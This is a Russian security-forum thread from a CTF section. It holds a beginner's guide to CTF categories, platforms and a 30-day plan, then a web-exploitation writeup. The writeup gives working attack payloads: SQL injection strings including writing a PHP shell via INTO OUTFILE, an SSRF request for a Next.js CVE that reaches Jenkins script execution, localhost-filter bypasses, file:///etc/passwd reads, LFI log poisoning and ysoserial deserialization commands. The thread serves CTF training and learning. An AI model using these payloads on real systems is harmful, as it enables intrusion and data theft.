HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 13.04.2026, 19:34
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию

Цитата:

Cruel Lord сказал(а):

Новичкам рекомендую начинать с Try Hack Me, там много бесплатных хороших обучающих комнат + ctf заданий

Хороший совет. Еще советую наш родной hackerlab
 
Ответить с цитированием

  #12  
Старый 13.04.2026, 20:19
Cruel Lord
Новичок
Регистрация: 29.08.2023
Сообщений: 0
С нами: 1427397

Репутация: 0
По умолчанию

Цитата:

Сергей Попов сказал(а):

Хороший совет. Еще советую наш родной hackerlab

Так он есть в статье)
 
Ответить с цитированием

  #13  
Старый 17.04.2026, 14:24
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию



Я помню свой первый CTF. Открыл задачу из категории PWN, увидел бинарник без исходного кода, загрузил в Ghidra - и следующие четыре часа пялился на что-то, отдалённо напоминающее C, но абсолютно нечитаемое. Ноль решённых задач, ощущение полной некомпетентности и желание никогда больше не возвращаться к соревнованиям по кибербезопасности.

Проблема была не в моих знаниях. Я начал не с той категории. Если бы в тот день я открыл задачу на crypto с тегом «Caesar» или взял простой web-таск с SQL-инъекцией - первый флаг был бы через 20 минут, и я остался бы на волне. Вместо этого полез в самую сложную категорию и закономерно обломался.

Эта статья - то руководство, которого у меня не было. Не «что такое CTF» (вы и так это знаете, раз читаете), а конкретный план: какие CTF категории задач дают быстрый результат, какие платформы использовать, какие инструменты поставить и как выстроить подготовку к CTF так, чтобы через месяц вы стабильно решали задачи уровня easy-medium - и куда двигаться дальше, если CTF станет трамплином в профессию, разобрано в полной карте специализаций кибербезопасности.
Форматы CTF соревнований для новичков: почему Jeopardy - ваш единственный выбор на старте
CTF соревнования делятся на два основных формата: Jeopardy и Attack-Defense. Если вы новичок - забудьте про Attack-Defense минимум на полгода.

Jeopardy - набор независимых задач из разных категорий. Каждая стоит определённое количество баллов. Вы выбираете, что решать, в каком порядке и сколько времени тратить. Для начинающих формат идеален: можно сосредоточиться на одной-двух знакомых категориях, игнорировать остальные и всё равно набрать очки.

Attack-Defense - команды получают одинаковую уязвимую инфраструктуру. Нужно одновременно атаковать чужие сервисы и защищать свои. Тут автоматизация эксплойтов, патчинг на лету, координация в команде из 5-10 человек. Если вы не можете уверенно объяснить, чем reverse shell отличается от bind shell - в Attack-Defense вы будете балластом.

Начинайте с Jeopardy. Участвовать можно в одиночку. Задачи решаются в своём темпе. Ошибки никому не видны. Это ваш полигон.
CTF категории задач: честный рейтинг сложности для тех, кто начинает с нуля
Вот то, чего не пишут ни в одном русскоязычном руководстве: не все категории CTF одинаково доступны новичку. Есть задачи, которые решаются за вечер после прочтения одной статьи. А есть категории, где без полугода подготовки вы не сдвинетесь с места. Разберём каждую - от самой простой к самой сложной для человека без опыта.
Misc и Crypto начального уровня - первые флаги за 15 минут
Misc (она же Joy) - задачи, которые не вписываются в другие категории. Часто это головоломки: декодирование base64, работа с необычными системами счисления, эзотерические языки программирования вроде Brainfuck, поиск паттернов в данных. Большинство Misc-задач уровня easy решаются через CyberChef - онлайн-тулза, которая умеет делать сотни преобразований данных.



Crypto начального уровня - это не RSA и не эллиптические кривые. Это шифр Цезаря, ROT13, XOR с коротким ключом, base64-кодирование. На PicoCTF задачи с тегами «Caesar» и «ROT13» решаются буквально за минуту, если вы знаете, что такое подстановочный шифр. Задачи по криптографии напрямую связаны с реальными техниками - в MITRE ATT&CK деобфускация данных описана как Deobfuscate/Decode Files or Information (T1140, Defense Evasion), а в реальных атаках злоумышленники кодируют и шифруют вредоносные файлы для обхода детекта - T1027.013 (Encrypted/Encoded File). Навыки распознавания кодировок и шифров, полученные на CTF, потом пригодятся при разборе реальных артефактов.

Стартовый набор: откройте CyberChef, загрузите строку, попробуйте операцию Magic (автоопределение кодировки). Для шифра Цезаря -
Код:
ROT13
с перебором сдвига. Для base64 -
Код:
echo "строка" | base64 -d
в терминале. Для начала хватит за глаза.
Web - самая популярная и самая полезная категория
Если вы хотите строить карьеру в кибербезопасности, web-категория - ваш главный приоритет после первых побед в Misc и Crypto. Задачи на веб-безопасность проверяют умение находить и эксплуатировать уязвимости в веб-приложениях: SQL-инъекции, XSS, SSRF, path traversal, broken authentication.

Web-задачи на CTF моделируют технику Exploit Public-Facing Application (T1190, Initial Access) из MITRE ATT&CK - ту самую, которая используется в реальных атаках на веб-сервисы. Это не абстрактные головоломки, а практические навыки пентестера.

Порог входа средний. Нужно понимать HTTP-протокол (методы GET/POST, заголовки, cookies), базовый SQL и основы HTML/JavaScript. Если вы знаете, что такое
Код:
SELECT * FROM users WHERE id=1
- простейшую SQL-инъекцию уже осилите.

Главный инструмент - Burp Suite Community Edition. Он перехватывает HTTP-запросы, позволяет их модифицировать и отправлять заново. На старте достаточно освоить вкладки Proxy и Repeater. Также изучите OWASP Top 10 - список десяти наиболее критичных веб-уязвимостей. Большинство CTF-задач на web строятся именно вокруг него.
Forensics и OSINT - когда не нужно писать код
Forensics - анализ цифровых артефактов: дампов памяти, PCAP-файлов сетевого трафика, образов дисков, файлов с метаданными. Задачи по форензике учат работать с Wireshark (анализ трафика),
Код:
exiftool
(метаданные файлов),
Код:
binwalk
(извлечение вложенных файлов),
Код:
strings
(поиск читаемых строк в бинарных файлах). Команда
Код:
strings файл | grep -i flag
- буквально первое, что стоит попробовать в любой forensics-задаче. Лично я начинаю именно с неё - удивительно, как часто флаг валяется прямо в открытом виде.

OSINT (Open Source Intelligence) - поиск информации в открытых источниках. Вам дают никнейм, фрагмент фото, координаты - нужно раскопать флаг, используя Google, социальные сети, Wayback Machine и dorking-операторы. OSINT не требует навыков программирования, но требует системного мышления и упорства.

Обе категории доступны новичкам, но имеют особенность: задачи бывают либо очень простыми (найди метаданные в картинке), либо крайне сложными (восстанови удалённый файл из дампа памяти). Средних вариантов мало.
Stegano - скрытая информация, которую надо уметь искать
Стеганография - сокрытие данных внутри обычных файлов: изображений, аудио, видео. В MITRE ATT&CK стеганография описана в двух контекстах: T1001.002 (Steganography) - сокрытие данных C2-канала внутри легитимных файлов или протоколов, и T1027.003 (Steganography) - обфускация вредоносных данных для обхода детекта. CTF-задачи чаще моделируют второй сценарий.

На CTF стеганографические задачи решаются инструментами вроде
Код:
steghide
,
Код:
zsteg
,
Код:
stegoveritas
. Типичный подход: проверить LSB (младшие биты пикселей), попробовать извлечь данные с паролем и без, проверить спектрограмму для аудиофайлов. Категория нишевая, задач обычно мало, но решаются они быстро - если знаешь инструменты. Не знаешь - можно просидеть час, тупо пялясь в PNG.
Reverse и PWN - куда не стоит лезть первые три месяца
Я ставлю эти категории в конец намеренно. Reverse Engineering - анализ скомпилированных бинарных файлов без исходного кода. Тут нужны Ghidra или Binary Ninja, понимание ассемблера (x86/x64), структуры ELF/PE-файлов, calling conventions. Это месяцы изучения.

PWN (Binary Exploitation) - поиск и эксплуатация уязвимостей в бинарных файлах: buffer overflow, format string, use-after-free, ROP-chains. Кроме знания ассемблера нужно понимать работу стека, кучи, механизмов защиты (ASLR, NX, canaries). Основной инструмент - pwntools (Python-библиотека для написания эксплойтов), но даже с ним порог входа высочайший.

Техники PWN напрямую связаны с Exploitation for Privilege Escalation (T1068) и Exploitation for Client Execution (T1203) в MITRE ATT&CK, но на старте вам нужна теоретическая база, которую за неделю не набрать.

Мой совет: если вы новичок - пропустите Reverse и PWN на первых 3-5 соревнованиях. Вернитесь к ним, когда уверенно решаете web и crypto среднего уровня. Серьёзно, не повторяйте мою ошибку из первого абзаца.
Capture the flag обучение: где тренироваться
PicoCTF - идеальная точка входа
PicoCTF - платформа от Carnegie Mellon University, заточенная под обучение. Задачи отсортированы по сложности, есть подсказки (hints), категории покрывают весь спектр: General Skills, Cryptography, Web Exploitation, Forensics, Binary Exploitation, Reverse Engineering.

Почему именно picoCTF для старта:
  • Задачи не исчезают - архив доступен круглый год
  • Сложность начинается с абсолютного нуля (буквально: «выполните команду
    Код:
    ls
    в терминале»)
  • Каждая задача имеет баллы и теги - легко выбрать свой уровень
  • Есть встроенная веб-оболочка - не нужно настраивать локальное окружение
Начните с категории General Skills на 50-100 очков, затем переходите в Cryptography и Web Exploitation.
HackTheBox для начинающих и TryHackMe
TryHackMe - лучший вариант для тех, кто хочет пошаговое руководство. Платформа предлагает «комнаты» (rooms) с подробными инструкциями. Комната «CTF collection Vol.1» - хорошая тренировка базовых навыков: base64, exiftool, стеганография, шифр Цезаря.

HackTheBox - ступень выше. Тут есть раздел Challenges (изолированные задачи по категориям) и Machines (полноценные виртуальные машины для пентеста). Начинайте с Challenges уровня Easy.

OverTheWire - серия wargames по безопасности. Bandit - идеальная игра для освоения Linux-командной строки. Если вы не уверены в базовых командах
Код:
cd
,
Код:
cat
,
Код:
grep
,
Код:
find
- пройдите Bandit до 15-го уровня прежде, чем браться за CTF. Потренируйтесь на кошках, так сказать.
CTFtime - расписание живых соревнований
CTFtime - агрегатор CTF-событий со всего мира. Тут публикуется расписание предстоящих соревнований, рейтинги команд, архивы задач и writeup-решения. Фильтруйте по весу (weight) - чем ниже вес, тем проще соревнование. События с весом 0-25 обычно подходят для новичков.

Не ждите «идеального момента». Зарегистрируйтесь на ближайший CTF с весом до 30 на CTFtime, решите хотя бы одну задачу - и вы уже участник.
Подготовка к CTF: пошаговый план первых 30 дней
Вот конкретный план, который я даю участникам своих воркшопов. Ни одного абстрактного «изучите криптографию» - только действия.

Дни 1-3: Среда. Установите виртуальную машину с Kali Linux через VirtualBox или VMware. Kali идёт с большинством нужных инструментов из коробки. Минимальные требования к хосту: 4-ядерный процессор, 16 ГБ RAM (8 ГБ - абсолютный минимум, но VM будет тормозить). Для VM выделите 2–4 ГБ. Пройдите уровни 0-10 Bandit на OverTheWire, чтобы освоить Linux CLI.

Дни 4-7: Первые флаги. Зарегистрируйтесь на PicoCTF. Решите 10 задач из General Skills (50-100 очков). Перейдите в Cryptography - возьмите задачи с тегами Caesar, base64, XOR. Используйте CyberChef для всех преобразований. Документируйте каждое решение в заметках (это важно - через неделю вы не вспомните, как решали).

Дни 8-14: Web-основы. Прочитайте OWASP Top 10. Установите Burp Suite Community Edition. Научитесь перехватывать запросы через Proxy и модифицировать их в Repeater. Решите 5 web-задач на PicoCTF уровня easy. Попробуйте комнату OWASP Top 10 на TryHackMe.

Дни 15-21: Forensics и инструменты. Установите Wireshark и откройте любой PCAP-файл с задачи. Научитесь фильтровать трафик:
Код:
http.request.method == "POST"
,
Код:
tcp contains "flag"
. Попробуйте
Код:
strings
,
Код:
exiftool
,
Код:
binwalk
на файлах из forensics-задач PicoCTF.

Дни 22-28: Первое живое соревнование. Найдите на CTFtime ближайший Jeopardy-CTF с низким весом. Зарегистрируйтесь. Во время соревнования решайте только Misc, Crypto и Web - игнорируйте PWN и Reverse. После окончания прочитайте writeup к каждой задаче, которую не решили. Каждой - это не преувеличение.

Дни 29-30: Ретроспектива. Запишите, какие категории дались легко, какие - нет. Скорректируйте план на следующий месяц. Если web пошёл хорошо - копайте глубже в web. Если forensics зацепил - двигайтесь в forensics.
Инструменты для CTF: минимальный набор без которого не обойтись
Не нужно ставить 50 утилит. Вот то, что реально используется на каждом соревновании:

КатегорияИнструментДля чегоУниверсальныйCyberChefДек дирование, шифры, преобразования данныхWebBurp Suite CEПерехват и модификация HTTP-запросовForensicsWiresharkАнализ сетевого трафика (PCAP)Forensics
Код:
strings
,
Код:
file
,
Код:
xxd
Быстрый анализ неизвестных файловForensics
Код:
exiftool
Чтение метаданных файловForensics
Код:
binwalk
Извлечение вложенных данных из файловCryptoPython 3 + стандартная библиотекаСкрипты для расшифровкиStegano
Код:
steghide
,
Код:
zsteg
Извлечение скрытых данных из изображенийReverseGhidraДекомпи яция бинарных файловОбщий
Код:
grep
,
Код:
find
,
Код:
awk
Поиск паттернов и фильтрация данных

Python - ваш главный язык для CTF. Даже если вы не программист, выучите базовый синтаксис: циклы, работу со строками, чтение файлов. Python используется повсеместно - и в атаке, и в защите. В MITRE ATT&CK техника T1059.006 (Command and Scripting Interpreter: Python) описывает злоупотребление интерпретатором Python для выполнения вредоносного кода - в CTF-задачах это часто моделируется через Python sandbox escape.

Типичный скрипт для перебора шифра Цезаря, который вы будете использовать десятки раз:

Python:


Код:
cipher
=
"ВАША_ЗАШИФРОВАННАЯ_СТРОКА"
for
shift
in
range
(
26
)
:
decoded
=
""
for
ch
in
cipher
:
if
ch
.
isalpha
(
)
:
base
=
ord
(
'A'
)
if
ch
.
isupper
(
)
else
ord
(
'a'
)
decoded
+=
chr
(
(
ord
(
ch
)
-
base
-
shift
)
%
26
+
base
)
else
:
decoded
+=
ch
print
(
f"Shift{shift}:{decoded}"
)
Скрипт перебирает все 26 возможных сдвигов - один из них даст читаемый текст с флагом.
Как читать CTF writeup и превратить чужой опыт в свой навык
CTF writeup - описание решения задачи, опубликованное другим участником. Writeup-ы - ваш главный источник обучения после соревнования. Но есть правильный и неправильный способ их читать.

Неправильно: открыть writeup, скопировать команды, получить флаг, закрыть вкладку. Вы ничему не научитесь. Проверено - сам так делал первый месяц.

Правильно - метод трёх проходов:
  1. Прочитайте только первый абзац (описание подхода). Закройте writeup. Попробуйте решить задачу самостоятельно, зная направление.
  2. Если застряли - прочитайте до следующего ключевого шага. Снова попробуйте сами.
  3. Прочитайте полностью. Для каждой команды ответьте на вопрос: «Почему автор использовал именно этот инструмент, а не другой?»
После прочтения обязательно воспроизведите решение руками. Не копируйте - перепечатайте каждую команду. Это создаёт мышечную память и заставляет мозг обрабатывать каждый аргумент.

Где искать writeup-решения: CTFtime (раздел Writeups у каждого события), блоги участников, YouTube-каналы с разборами. По данным Intigriti, один из самых эффективных методов обучения - изучение чужих writeup с воспроизведением решений в своей среде.
Типичные ошибки при подготовке к CTF соревнованиям
За два года менторства я собрал устойчивый список ошибок, которые совершают все новички без исключения.

Начинать с теории, а не с практики. Я видел людей, которые три месяца читали книги по криптографии, прежде чем открыть первую задачу. В CTF не нужно знать теорию досконально - нужно уметь распознать паттерн и подобрать инструмент. Пересказывать учебник в сотый раз не вижу смысла - открывайте задачу и разбирайтесь по ходу.

Пытаться решить всё. На соревновании 30 задач из 8 категорий. Новичок пытается открыть каждую и тратит по 10 минут на задачи, которые ему не по силам. Вместо этого - откройте все, быстро оцените, выберите 5-7 из своих сильных категорий и сосредоточьтесь на них.

Не документировать процесс решения. Через неделю вы не вспомните, какой ключ использовали для расшифровки. Ведите заметки в любом удобном формате - хоть в текстовом файле. Записывайте: условие задачи, что пробовали, что сработало, какие инструменты использовали. По данным Intigriti, документация шагов - один из ключевых навыков для роста в CTF.

Застревать в rabbit holes. Вы уверены, что флаг спрятан именно в этом заголовке HTTP-ответа, и тратите два часа на его анализ. А флаг был в cookie. Правило: 30 минут без прогресса - переключайтесь на другую задачу. Вернётесь со свежей головой.

Игнорировать описание задачи. Организаторы CTF часто прячут подсказки прямо в тексте условия. Название задачи, описание, теги, иногда даже имя автора - всё может указывать на метод решения. Задача называется «Julius»? Скорее всего, это шифр Цезаря (Юлия Цезаря). Не будем торопиться с выводами, но и очевидные подсказки пропускать глупо.

Работать без команды слишком долго. CTF - командный спорт. Даже если вы участвуете в одиночку на тренировке, найдите Discord-сервер или Telegram-чат, где можно обсудить подходы. Сообщества на CTFtime, форумы Antichat, Reddit r/securityCTF - везде есть люди, которые помогут, если вы сформулируете конкретный вопрос (а не «помогите, ничего не работает»).
От первого флага к стабильным результатам
CTF для начинающих - не про «стать хакером за выходные». Это про системный подход: выбрать правильную категорию, взять задачу по силам, решить её, разобрать чужие решения, повторить. Через месяц такой практики вы будете уверенно решать easy-задачи. Через три - стабильно закрывать medium. Через полгода - задумаетесь о Reverse и PWN.

Не ждите готовности. Зарегистрируйтесь на PicoCTF прямо сейчас, откройте первую задачу из General Skills и захватите свой первый флаг. Всё остальное - итерации.

Каждый человек в топ-10 на CTFtime когда-то тоже не знал, что
Код:
==
в конце строки означает base64. Разница между ними и теми, кто бросил - не в таланте. В количестве решённых задач.
 
Ответить с цитированием

  #14  
Старый 17.04.2026, 15:27
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию



Веб - самая популярная и самая непредсказуемая категория в CTF. Тут нет формулы «запустил скрипт - получил флаг». Каждый таск - мини-приложение со своей логикой, и побеждает тот, кто быстрее находит отклонение от нормы. За последние пару лет я прошёл несколько сотен веб-тасков на HackTheBox, PicoCTF и Intigriti Monthly Challenges, и вижу три устойчивых столпа: SQL injection, SSRF и insecure deserialization. Обёртки меняются, ядро эксплуатации - нет.

В этом CTF web writeup разберу конкретные подходы с реальных соревнований - с объяснением, почему первые попытки обычно проваливаются и что с этим делать.
Методология разбора веб-тасков в CTF
Прежде чем лезть в конкретные уязвимости, нужна система. Без неё ты потратишь час на фаззинг директорий, когда ответ лежит в комментарии к HTML. Вот мой порядок действий на любом веб-таске:

Первые 60 секунд - открываю сайт в браузере, смотрю исходный код страницы (Ctrl+U), проверяю заголовки ответа через DevTools. Часто прямо в комментариях или в заголовке
Код:
X-Powered-By
уже видно стек: PHP, Flask, Express. Это сразу сужает вектор. На SANReN CTF, например, рекомендуют пробовать обращаться к
Код:
index.php
,
Код:
index.cgi
,
Код:
index.html
- по ответу сервера понятно, что под капотом.

Следующие 5 минут - если есть исходный код (а в современных CTF его всё чаще дают), читаю серверную часть. Не весь код, а точки входа: роутеры, обработчики POST-запросов, middleware. Именно тут прячутся инъекции. Если исходников нет - запускаю
Код:
ffuf -u http://target/FUZZ -w common.txt
для поиска скрытых эндпоинтов, включая
Код:
.git/HEAD
,
Код:
/backup
,
Код:
/admin
.

Когда нашёл потенциальный вектор - проверяю вручную через Burp Suite, а не сразу бросаю автоматику. На MireaCTF, по данным одного из writeup'ов с Antichat, sqlmap не смог найти blind SQL injection в cookie, хотя уязвимость подтвердилась вручную за минуту. Автоматика хороша, но она не понимает кастомную логику конкретного таска.

В терминах MITRE ATT&CK весь этот процесс - Exploit Public-Facing Application (T1190, Initial Access). Но в CTF мы обычно идём дальше: после первичной эксплуатации нужно прочитать файл, достучаться до внутреннего сервиса или поднять привилегии.
SQL Injection в CTF задачах
SQLi остаётся самой частой уязвимостью в веб-категории CTF. Но если ты думаешь, что это про
Код:
' OR 1=1 --
- значит давно не играл. Современные таски строятся вокруг обходов фильтров, нестандартных точек инъекции и ситуаций, где автоматика бессильна.
UNION-based: когда видишь вывод
Классический сценарий: приложение выводит данные из базы на страницу, и ты можешь «подклеить» свой запрос через UNION SELECT. Первое, что нужно определить - количество колонок. Я делаю это через
Код:
ORDER BY N
, увеличивая N, пока не получу ошибку. Нашёл, что колонок 3? Отлично:
Код:
' UNION SELECT 1,2,3--
- и смотришь, какая цифра отобразилась на странице. Та позиция - твоё «окно» для извлечения данных.

Типичная ошибка новичков - пытаться сразу читать таблицу
Код:
users
. В CTF структура базы может быть любой. Сначала узнай имена таблиц через
Код:
information_schema.tables
, потом колонки через
Код:
information_schema.columns
. Да, это базовый SQL, но количество людей, которые пропускают этот шаг и тратят время на угадывание, до сих пор поражает.

На HackTheBox в машине Gavel (по данным 0xdf) была интересная штука: SQL injection через PDO с backtick-quoted prepared statements. Стандартные payloads не работали - нужно было разобраться, как именно PDO экранирует входные данные, и найти обход конкретно для backtick-quoting. Вот почему чтение исходников важнее автоматического сканирования.
Blind SQL injection: когда вывода нет
Если приложение не показывает результат запроса, но по-разному реагирует на true/false условия - это blind SQLi. На MireaCTF один из тасков содержал именно такую уязвимость в cookie: при true на странице появлялось слово «Welcome», при false - нет.

Алгоритм ручной эксплуатации: формируешь условие
Код:
' AND SUBSTRING(password,1,1)='a'--
и перебираешь символы. Руками это мучительно медленно, поэтому пишешь скрипт. Но вот подвох: sqlmap с параметрами
Код:
--technique=B --dbms=MySQL --level=5 --risk=3
на том же таске не сработал - точка инъекции была в cookie с нестандартной обработкой. Sqlmap ожидает определённые паттерны ответов, и когда приложение ведёт себя нетипично, приходится писать кастомный эксплойт.

Для sqlmap в таких случаях стоит попробовать сохранить запрос в файл через Burp (
Код:
sqlmap -r request.txt
) и пометить точку инъекции символом
Код:
*
прямо в значении cookie. Полезны флаги
Код:
--string="Welcome"
(текст при true) и
Код:
--not-string="Error"
. Но если и это не помогает - пиши свой скрипт на Python с
Код:
requests
, бинарным поиском по ASCII-кодам и выводом в реальном времени. Честно, это быстрее, чем воевать с автоматикой.

Извлечение данных через blind SQLi - результат эксплуатации T1190 (Exploit Public-Facing Application, Initial Access). T1213.006 (Databases) описывает сбор данных при легитимном доступе к СУБД, что не про инъекцию.
SSRF в CTF задачах - разбор эксплуатации
Server-Side Request Forgery - мой любимый класс уязвимостей в CTF. Причина проста: SSRF редко бывает конечной целью. Это всегда трамплин - к чтению внутренних файлов, к метаданным облака, к внутренним сервисам без аутентификации. По MITRE ATT&CK начальная эксплуатация SSRF - T1190 (Exploit Public-Facing Application, Initial Access). Сканирование внутренних портов через SSRF (как в примере с Jenkins) - T1046 (Network Service Discovery). T1090 (Proxy) - это про маршрутизацию C2-трафика, к механике SSRF отношения не имеет.
SSRF через Next.js Middleware: реальный кейс CVE-2025-57822
Один из лучших примеров SSRF в CTF - задача CatFlix AI с Intigriti Monthly Challenge (август 2025). Приложение на Next.js, исходный код приложен. Вот как шёл ход мыслей, когда я разбирал аналогичную задачу.

Первое, что бросается в глаза в
Код:
middleware.ts
- код добавляет security headers к ответу. Но есть блок, который проверяет UTM-параметры в запросе. Когда
Код:
utm_source
присутствует,
Код:
NextResponse.next()
вызывается без явной передачи объекта request - и пользовательские заголовки пробрасываются на сервер некорректно. Передача заголовка
Код:
Location
вызывает серверный редирект к произвольному URL. Три строчки кода - и вот тебе SSRF.

Это CVE-2025-57822 - SSRF в Next.js до версий 14.2.32 и 15.4.7, CVSS 6.5 (MEDIUM), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N. Корневая проблема - CWE-918 (Server-Side Request Forgery). Сложность атаки помечена как High (AC:H), потому что нужна специфическая конфигурация middleware - когда
Код:
next()
вызывается без передачи request object. В реальных условиях CVSS 6.5 (MEDIUM) отражает именно это ограничение: при пентесте нужно сначала подтвердить наличие уязвимой конфигурации. В CTF авторы задачи это условие гарантируют - спасибо им за это.

Proof of concept элементарный: отправляешь GET-запрос с
Код:
?utm_source=meta
и заголовком
Код:
Location: http://localhost:3000/
, и вместо нормального ответа получаешь содержимое внутреннего сервиса. По данным writeup'а с Intigriti, далее через перебор портов (
Код:
ffuf
по диапазону) был найден Jenkins на порту 8080 без аутентификации, а через его Groovy Script Console - выполнение команд:

Код:


Код:
GET /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded

script=println('cat /app/flag.txt'.execute().text)
Цепочка SSRF → internal service discovery → RCE через Jenkins - классический паттерн, который встречается не только в CTF, но и на реальных проектах.
Обход фильтров localhost в CTF
Если авторы таска не полные новички, прямой
Код:
http://localhost
будет заблокирован. Вот техники обхода, которые работали у меня на реальных соревнованиях:

DNS rebinding и альтернативные представления IP. Вместо
Код:
127.0.0.1
пробуй
Код:
http://127.1
,
Код:
http://0x7f000001
,
Код:
http://2130706433
(decimal),
Код:
http://[::1]
(IPv6). На MireaCTF один из тасков отдавал флаг при обращении к
Код:
http://0:80/flag
- фильтр проверял строку «localhost» и «127.0.0.1», но не альтернативные записи. На заборе тоже написано «вход запрещён».

Редиректы через внешний сервер. Поднимаешь свой сервер, который возвращает 302 на
Код:
http://127.0.0.1:порт
. Приложение проверяет URL до запроса, видит твой домен - всё чисто. Но HTTP-клиент следует за редиректом и попадает на localhost. Для быстрого решения на CTF подходит
Код:
ngrok
или одноразовый Flask-сервер.

URL-схемы. Если SSRF реализован через
Код:
curl
или аналог, пробуй
Код:
file:///etc/passwd
для чтения локальных файлов. Или
Код:
gopher://
для отправки произвольных TCP-пакетов - это позволяет, например, отправить SQL-запрос напрямую в MySQL на localhost:3306 без клиента. Gopher в 2025 году - кто бы мог подумать, что эта штука из 90-х ещё пригодится.
Десериализация в CTF - уязвимость, которую часто пропускают
Insecure deserialization (CWE-502: Deserialization of Untrusted Data, категория A08:2021 - Software and Data Integrity Failures по OWASP Top 10 2021) - это когда приложение восстанавливает объект из пользовательских данных без валидации, и атакующий может подменить данные объекта или вызвать цепочку деструктивных методов. В CTF это встречается в двух основных вариантах: PHP и Java.
PHP: магические методы как точка входа
В PHP десериализация через
Код:
unserialize()
опасна из-за магических методов. При вызове
Код:
unserialize()
PHP дёргает
Код:
wakeup()

(или
Код:

Код:
unserialize()
в PHP 8.0+, который имеет приоритет). Когда объект уничтожается -
Код:
__destruct()
. Если в любом из этих методов есть обращение к файловой системе, выполнение команд или запись данных - это потенциальный RCE.

Моя методика на CTF: нахожу вызов
Код:
unserialize()
в исходниках, затем ищу все классы с
Код:
destruct

,
Код:

Код:
wakeup
,
Код:
toString

,
Код:

Код:
call
. Строю «gadget chain» - цепочку объектов, где свойство одного является объектом другого класса, и при вызове магического метода срабатывает нужная мне логика. Типовой пример: класс
Код:
Logger
с
Код:
__destruct()
, который записывает
Код:
$this->logFile
с содержимым
Код:
$this->logData
. Подменяем
Код:
logFile
на путь к PHP-файлу,
Код:
logData
- на вебшелл, сериализуем, отправляем - и получаем Web Shell (T1505.003, Persistence по MITRE ATT&CK). Красота.

Ещё один важный момент - формат
Код:
phar://
. Даже если прямого вызова
Код:
unserialize()
нет, но есть файловая операция (
Код:
file_exists()
,
Код:
fopen()
,
Код:
is_dir()
), можно загрузить PHAR-архив с сериализованным объектом в метаданных. При обращении к
Код:
phar://uploads/evil.jpg
PHP автоматически десериализует метаданные - сам, без спроса. Эта техника использовалась, по данным коллекции best-web-ctf-writeups на GitHub, в задаче PDF Creator с CCCamp 2019.
Java: ysoserial и реальность
Java-десериализация - тяжёлая артиллерия. Если приложение принимает сериализованные Java-объекты (маркер
Код:
AC ED 00 05
в hex или
Код:
rO0AB
в Base64), это почти гарантированный RCE при наличии уязвимых библиотек в classpath.

Инструмент
Код:
ysoserial
генерирует payload для известных gadget chains: CommonsCollections, Spring, Groovy и других. Оригинальный ysoserial (frohoff) не поддерживается с ~2021 года и несовместим с Java 17+ из-за ограничений модульной системы - используйте актуальные форки (ysoserial-all, java-deserialization-scanner в Burp). На практике в CTF запускаю
Код:
java -jar ysoserial.jar CommonsCollections5 'команда' | base64
и подставляю результат в уязвимый параметр. Учтите: CommonsCollections5 работает только с commons-collections 3.x; для 4.x нужны chains CommonsCollections2 или CommonsCollections4.

Но не всё так просто - нужно угадать, какая библиотека есть на сервере. Если исходники доступны, смотрю
Код:
pom.xml
или
Код:
build.gradle
на наличие commons-collections, spring-core, groovy. Если нет - тупо перебираю основные chains. Метод научного тыка, но работает.

На HackTheBox (по данным 0xdf) машины с Java-десериализацией - например, Cereal, Ophiuchi - часто требуют не просто запуск ysoserial, а понимание того, как сериализованные данные обрабатываются конкретным фреймворком. В Ophiuchi уязвимость была в SnakeYAML - парсере YAML для Java, где специально сформированный YAML-документ вызывал загрузку произвольного класса. Десериализация - она такая: вроде один класс уязвимостей, а копнёшь - каждый раз новый зоопарк.
Чейнинг уязвимостей - когда одной баги мало
В хороших CTF задачах один баг не даёт флаг. Нужна цепочка. Вот комбинации, которые я встречал чаще всего:

SSRF + внутренний сервис без аутентификации. Уже разобрали на примере CatFlix AI: SSRF в Next.js middleware → Jenkins без пароля → Groovy RCE. Ищи на внутренних портах Redis (6379), Elasticsearch (9200), Docker API (2375), Kubernetes API (6443).

SQL injection + file read/write. В MySQL через
Код:
LOAD_FILE('/etc/passwd')
или
Код:
INTO OUTFILE '/var/www/html/shell.php'
можно перейти от чтения базы к RCE. Нужны привилегии FILE, но в CTF они часто есть. Проверь значение
Код:
@@secure_file_priv
через
Код:
UNION SELECT @@secure_file_priv
- если пустое ('') - ограничений нет; если указан путь - запись/чтение только в той директории; если NULL - FILE-операции запрещены полностью. В MySQL 8.0+ значение по умолчанию -
Код:
/var/lib/mysql-files/
.

LFI + log poisoning. Нашёл Local File Inclusion, но нет интересных файлов? Отправь запрос с PHP-кодом в User-Agent, затем подключи лог Apache через LFI:
Код:
?page=../../../var/log/apache2/access.log
. PHP-код из User-Agent выполнится при подключении лога. Грязный трюк, но работает как часы.

NoSQL injection + SSRF. На CatFlix AI помимо SSRF была ещё и NoSQL injection в эндпоинте регистрации - raw input конкатенировался в MongoDB-запрос. Сама по себе NoSQLi не давала доступ к файловой системе, но в комбинации с SSRF позволяла бы манипулировать данными для дальнейшей эскалации.

На машине HTB Guardian (по данным 0xdf) цепочка была ещё длиннее: IDOR в чат-функции → утечка credentials для Gitea → анализ исходного кода → XSS через malicious XLSX в PhpSpreadsheet → кража сессии → CSRF для создания admin-аккаунта → LFI с PHP filter chain injection → RCE. Шесть звеньев. Именно такие задачи отличают средний CTF от топового.
Практический чеклист для CTF Web категории
Мой пошаговый алгоритм, который экономит время на соревнованиях. Каждый пункт - конкретное действие, а не «подумайте о безопасности».


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Шаг 1: Разведка (2 минуты). Открой страницу, прочитай исходный код. Запусти
Код:
